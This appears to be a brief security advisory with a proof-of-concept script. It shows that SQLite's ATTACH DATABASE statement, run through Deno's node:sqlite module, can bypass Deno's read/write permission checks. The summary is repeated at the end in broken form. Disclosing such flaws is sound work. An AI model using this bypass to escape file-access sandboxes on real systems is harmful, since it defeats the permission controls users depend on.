Summary
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE
statement.
PoC
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
Summary
It is possible to bypass Deno's read/write permission checks by using
ATTACH DATABASE
statement.PoC